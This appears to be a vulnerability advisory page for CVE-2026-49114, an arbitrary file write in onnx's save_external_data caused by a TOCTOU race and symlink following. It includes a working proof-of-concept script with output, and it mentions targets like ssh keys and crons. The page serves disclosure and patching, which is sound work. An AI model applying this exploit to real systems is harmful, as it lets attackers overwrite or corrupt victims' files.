CVE-2026-49114 — onnx
CVE-2026-49114 is a Path Traversal vulnerability in onnx. A fix is available for onnx — see the affected versions and patch details below.
ONNX symlink-following and path-traversal arbitrary file write
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-49114.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
onnxReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The save_external_data method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.
Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope.
The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188
Details
Toctou
The vulnerable code pattern:
# CHECK - Is this a file?
if not os.path.isfile(external_data_file_path):
# Line 228-229: USE #1 - Create if it doesn't exist
with open(external_data_file_path, "ab"):
pass
# Open for writing
with open(external_data_file_path, "r+b") as data_file:
# Lines 233-243: Write tensor data
data_file.seek(0, 2)
if info.offset is not None:
file_size = data_file.tell()
if info.offset > file_size:
data_file.write(b"\0" * (info.offset - file_size))
data_file.seek(info.offset)
offset = data_file.tell()
data_file.write(tensor.raw_data)
There is a time gap between os.path.isfile and open with no atomic file creation flags (e.g. O_EXCEL | O_CREAT) allowing the attacker to create a symlink that is being followed (absence of O_NOFOLLOW), between these two calls. By combining these, the attack is possible as shown below in the PoC section.
Bypass
There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like C:\ (only 1 part):
if location_path.is_absolute() and len(location_path.parts) > 1
This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).
PoC
Install the dependencies and run this:
import os
import sys
import tempfile
import numpy as np
import onnx
from onnx import TensorProto, helper
from onnx.numpy_helper import from_array
# Create a temporary directory for our poc
with tempfile.TemporaryDirectory() as tmpdir:
print(f"[*] Working directory: {tmpdir}")
# Create a "sensitive" file that we'll overwrite
sensitive_file = os.path.join(tmpdir, "sensitive.txt")
with open(sensitive_file, 'w') as f:
f.write("SENSITIVE DATA - DO NOT OVERWRITE")
original_content = open(sensitive_file, 'rb').read()
print(f"[*] Created sensitive file: {sensitive_file}")
print(f" Original content: {original_content}")
# Create a simple ONNX model with a large tensor
print("[*] Creating ONNX model with external data...")
# Create a tensor with data > 1KB (to trigger external data)
large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor
large_tensor = from_array(large_array, name='large_weight')
# Create a minimal model
model = helper.make_model(
helper.make_graph(
[helper.make_node('Identity', ['input'], ['output'])],
'minimal_model',
[helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],
[helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],
[large_tensor]
)
)
# Save model with external data to create the external data file
model_path = os.path.join(tmpdir, "model.onnx")
external_data_name = "data.bin"
external_data_path = os.path.join(tmpdir, external_data_name)
onnx.save_model(
model,
model_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=external_data_name,
size_threshold=1024
)
print(f"[+] Model saved: {model_path}")
print(f"[+] External data created: {external_data_path}")
# Now comes the attack: replace the external data file with a symlink
print("[!] ATTACK: Replacing external data file with symlink...")
# Remove the legitimate external data file
if os.path.exists(external_data_path):
os.remove(external_data_path)
print(f" Removed: {external_data_path}")
# Create symlink pointing to sensitive file
os.symlink(sensitive_file, external_data_path)
print(f" Created symlink: {external_data_path} -> {sensitive_file}")
# Now load and re-save the model, which will trigger the vulnerability
print("Loading model and saving with external data...")
try:
# Load the model (without loading external data)
loaded_model = onnx.load(model_path, load_external_data=False)
# Modify the model slightly (to ensure we write new data)
loaded_model.graph.initializer[0].raw_data = large_array.tobytes()
# Save again - this will call save_external_data() and follow the symlink
onnx.save_model(
loaded_model,
model_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=external_data_name,
size_threshold=1024
)
except Exception as e:
print(f"[-] Error: {e}")
# Check if the sensitive file was overwritten
print("[*] Checking if sensitive file was modified...")
modified_content = open(sensitive_file, 'rb').read()
print(f" Original size: {len(original_content)} bytes")
print(f" Current size: {len(modified_content)} bytes")
print(f" Original content: {original_content[:50]}")
print(f" Current content: {modified_content[:50]}...")
print()
if modified_content != original_content:
print("[!] Success!")
else:
print("[-] Failure")
Output:
[*] Working directory: /tmp/tmpqy7z88_l
[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt
Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
[*] Creating ONNX model with external data...
[+] Model saved: /tmp/tmpqy7z88_l/model.onnx
[+] External data created: /tmp/tmpqy7z88_l/data.bin
[!] ATTACK: Replacing external data file with symlink...
Removed: /tmp/tmpqy7z88_l/data.bin
Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt
Loading model and saving with external data...
[*] Checking if sensitive file was modified...
Original size: 33 bytes
Current size: 40033 bytes
Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
Current content: b'SENSITIVE DATA - DO NOT OVERWRITE\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00'...
Successfully overwritting the "sensitive data" file.
Impact
The impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.
Mitigations
- Atomic file creation
- Symlink protection
- Path canonicalization
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | onnx | all versions | 1.21.0pip install --upgrade 'onnx==1.21.0' |
Affected Products
onnxlinuxfoundationDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for onnx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update onnx to 1.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-49114 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-49114 in your dependencies?
Find it across PyPI, including transitive dependencies.